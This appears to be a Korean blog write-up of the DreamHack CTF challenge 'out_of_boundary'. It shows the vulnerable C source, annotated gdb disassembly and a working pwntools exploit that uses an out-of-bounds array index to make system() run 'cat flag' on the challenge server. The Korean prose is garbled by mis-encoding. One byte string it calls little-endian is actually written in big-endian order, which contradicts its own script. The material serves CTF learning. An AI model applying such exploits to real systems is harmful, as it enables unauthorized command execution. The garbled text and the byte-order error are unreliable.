๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - out_of_boundary ํ’€์ด

by Janger 2023. 9. 8.
728x90
๋ฐ˜์‘ํ˜•

 

out_of_boundary.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

gdb Code
   0x080486e7 <+28>:    call   0x804867b <initialize>
   0x080486ec <+33>:    sub    esp,0xc
   0x080486ef <+36>:    push   0x8048811 # "Admin name: "
   0x080486f4 <+41>:    call   0x80484b0 <printf@plt>
   0x080486f9 <+46>:    add    esp,0x10
   0x080486fc <+49>:    sub    esp,0x4
   0x080486ff <+52>:    push   0x10
   0x08048701 <+54>:    push   0x804a0ac # name
   0x08048706 <+59>:    push   0x0
   0x08048708 <+61>:    call   0x80484a0 <read@plt>
   0x0804870d <+66>:    add    esp,0x10
   0x08048710 <+69>:    sub    esp,0xc
   0x08048713 <+72>:    push   0x804881e # "What do you want?: "
   0x08048718 <+77>:    call   0x80484b0 <printf@plt>
   0x0804871d <+82>:    add    esp,0x10
   0x08048720 <+85>:    sub    esp,0x8
   0x08048723 <+88>:    lea    eax,[ebp-0x10]
   0x08048726 <+91>:    push   eax # &idx
   0x08048727 <+92>:    push   0x8048832 # "%d"
   0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048731 <+102>:   add    esp,0x10
   0x08048734 <+105>:   mov    eax,DWORD PTR [ebp-0x10] # idx
   0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060] # command[idx]
   0x0804873e <+115>:   sub    esp,0xc
   0x08048741 <+118>:   push   eax # command[idx]
   0x08048742 <+119>:   call   0x8048500 <system@plt>

์šฐ์„  gdb๋กœ ์ฝ”๋“œ ์˜์—ญ์— ํ•„์š”ํ•œ ๋ถ€๋ถ„์— ํ•œ๋ˆˆ์— ๋ณด์ด๊ธฐ ์‰ฝ๊ฒŒ ์˜†์—๋‹ค ์ฃผ์„์„ ์ ์—ˆ๋‹ค. 

 

๊ฐ ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ ๊ฐ’์€ ์•„๋ž˜ ํ‘œ์™€ ๊ฐ™๋‹ค. 

๋ณ€์ˆ˜ ์ฃผ์†Œ
name 0x804a0ac
*command 0x804a060

๋‘ ๋ณ€์ˆ˜์˜ ์ฐจ๋ฅผ ๊ณ„์‚ฐํ•˜๋ฉด 4C(76)์ด ๋‚˜์˜จ๋‹ค. 4๋กœ ๋‚˜๋ˆ„๋ฉด(32๋น„ํŠธ ํ™˜๊ฒฝ์— ํฌ์ธํŠธ ํฌ๊ธฐ๋Š” 4๋ฐ”์ดํŠธ ๋‹จ์œ„์ด๋ฏ€๋กœ) 19๊ฐ€ ๋‚˜์˜ค๋ฏ€๋กœ ๋ณ€์ˆ˜ ๊ฐ„์— 19๋งŒํผ์˜ ์˜คํ”„์…‹์ด ์กด์žฌํ•œ๋‹ค. 

 

์‚ฌ์šฉ์ž์—๊ฒŒ ๋‘ ๋ฒˆ์งธ๋กœ ์ž…๋ ฅ๋ฐ›๋Š” idx ๊ฐ’์„ 19๋กœ ์ฃผ๊ฒŒ ๋˜๋ฉด OOB(Out Of Boundary)๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ name์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋œ๋‹ค. 

command[19] ==> name

 

์ด์ œ ๋งˆ์ง€๋ง‰์œผ๋กœ ๋„˜์–ด๊ฐ€ system ํ•จ์ˆ˜์˜ ์ธ์ž๋กœ command[19]๋ฅผ ๋„˜๊ธฐ๋Š”๋ฐ ์—ฌ๊ธฐ์„œ ์ฃผ์˜ํ•  ๊ฒƒ์€ system ํ•จ์ˆ˜์˜ ์ธ์ž ๊ฐ’์œผ๋กœ ๋ช…๋ น์–ด ๋ฌธ์ž์—ด์ด ์•„๋‹Œ ๋ช…๋ น์–ด ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๊ฐ’์„ ์ „๋‹ฌ ํ•ด์•ผ ํ•œ๋‹ค.

 

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์ฒ˜์Œ์— name์„ ์ž…๋ ฅํ•  ๋•Œ๋Š” "{name+4์˜ ์ฃผ์†Œ ๊ฐ’}cat flag"์„ ๋„ฃ์–ด์•ผ ํ•œ๋‹ค. 

name์˜ ์ฃผ์†Œ ๊ฐ’์€ 0x804a0ac์ด์—ˆ์œผ๋‹ˆ ์—ฌ๊ธฐ๋‹ค +4๋ฅผ ํ•˜๋ฉด 0x804a0B0์ด๋‹ค. 

 

๋ฆฌํ‹€ ์—”๋””์–ธ์œผ๋กœ ๊ณ„์‚ฐํ•˜๋ฉด name ์ž…๋ ฅ ๊ฐ’์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. 

b"\x08\x04\xa0\xB0cat flag"

 

exploit.py
from pwn import *

rem = remote('host3.dreamhack.games', 17129)

payload = p32(0x804a0ac+4)
payload += b"cat flag"

rem.sendlineafter("Admin name: ", payload)

rem.sendlineafter("What do you want?: ", b"19")

flag = rem.recv(100).decode('utf-8')
print(flag)

 

 

 

์ฐธ๊ณ : 

https://dreamhack.io/learn/2/14#10

 

๋กœ๊ทธ์ธ | Dreamhack

 

dreamhack.io

 

728x90
๋ฐ˜์‘ํ˜•